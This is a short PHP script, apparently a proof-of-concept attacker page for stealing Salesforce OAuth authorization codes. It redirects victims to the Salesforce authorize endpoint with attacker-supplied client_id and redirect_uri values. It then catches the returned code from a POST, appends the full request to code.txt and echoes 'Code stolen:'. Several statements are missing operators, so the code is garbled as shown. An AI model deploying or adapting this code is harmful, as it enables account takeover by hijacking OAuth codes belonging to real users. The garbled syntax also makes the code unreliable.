<?php
if( $_GET["state"] ) {
   
header("Location: https://login.salesforce.com/services/oauth2/authorize?client_id=".$_GET["client_id"]."&code_challenge=".$_GET["code_challenge"]."&code_challenge_method=S256&redirect_uri=".$_GET["redirect_uri"]."&response_type=code&scope=api%20id%20refresh_token&state="$_GET["state"]);
}
if( 
$_POST["code"] ) {
   
$req_dump print_r($_REQUESTTRUE);
   
$fp fopen('code.txt''a');
   
fwrite($fp$req_dump);
   
fclose($fp);

   echo 
"Code stolen: "$_POST["code"];
   exit();
}

highlight_file(__FILE__);

?>